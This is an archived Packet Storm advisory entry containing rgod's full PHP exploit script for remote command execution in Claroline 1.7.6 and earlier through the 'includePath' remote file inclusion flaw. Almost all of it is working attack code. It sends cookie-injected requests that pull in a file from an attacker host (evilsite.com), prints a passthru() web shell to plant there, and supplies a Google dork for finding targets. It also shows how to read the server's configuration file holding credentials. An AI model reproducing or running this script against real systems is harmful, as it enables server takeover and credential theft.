claroline_176.txt

2006-06-05T00:00:00
ID PACKETSTORM:47032
Type packetstorm
Reporter rgod
Modified 2006-06-05T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "Claroline <= 1.7.6 \"includePath\" remote cmmnds xctn\r\n";  
echo "by rgod rgod@autistici.org\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
echo "dork: \"Powered by Claroline\" -demo\r\n\r\n";  
  
/*  
works with  
register_globals=On  
allow_url_fopen=On  
*/  
  
if ($argc<5) {  
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to claroline\r\n";  
echo "location: arbitrary location with the code to include\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." target.com /claroline176/ http://evilsite.com ls -la\r\n";  
echo "php ".$argv[0]." target.com /claroline176/ http://evilsite.com cat ./..\r\n";  
echo "/../../inc/conf/claro_main.conf.php -p81\r\n";  
echo "php ".$argv[0]." target.com / http://evilsite.com uname -a -P1.1.1.1:80\r\n\r\n";  
echo "note, on remote location you need a\r\n";  
echo "/lib/extauth.lib.php/index.html\r\n";  
echo "with this code inside:\r\n\r\n";  
echo "<?php\r\n";  
echo 'if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);}'."\r\n";  
echo "error_reporting(0);\r\n";  
echo 'ini_set("max_execution_time",0);'."\r\n";  
echo 'echo "*delim*";'."\r\n";  
echo 'passthru($_REQUEST["cmd"]);'."\r\n";  
echo 'echo "*delim*";'."\r\n";  
echo "die;\r\n";  
echo '?>'."\r\n";  
die;  
}  
  
/*  
explaination:  
is too hard to check the same folder of 1.7.5 exploit? really, too hard...  
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];$path=$argv[2];$location=$argv[3];$cmd='';  
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))  
{die("Check the path, it must begin and end with a trailing slash\r\n");}  
$port=80;$proxy="";  
for ($i=4; $i<=$argc-1; $i++)  
{  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}  
  
$script=array('mambo.inc.php','postnuke.inc.php');  
for ($i=0; $i<=count($script)-1; $i++)  
{  
$packet ="GET ".$p."claroline/auth/extauth/drivers/".$script[$i]." HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Cookie: cmd=".urlencode($cmd)."; includePath=".urlencode($location).";\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
if (strstr($html,"*delim*"))  
{  
echo "Exploit succeeded...\r\n\r\n";  
$temp=explode("*delim*",$html);  
die($temp[1]);  
}  
}  
//if you are here...  
echo "Exploit failed...";  
//debug  
echo $html;  
?>  
`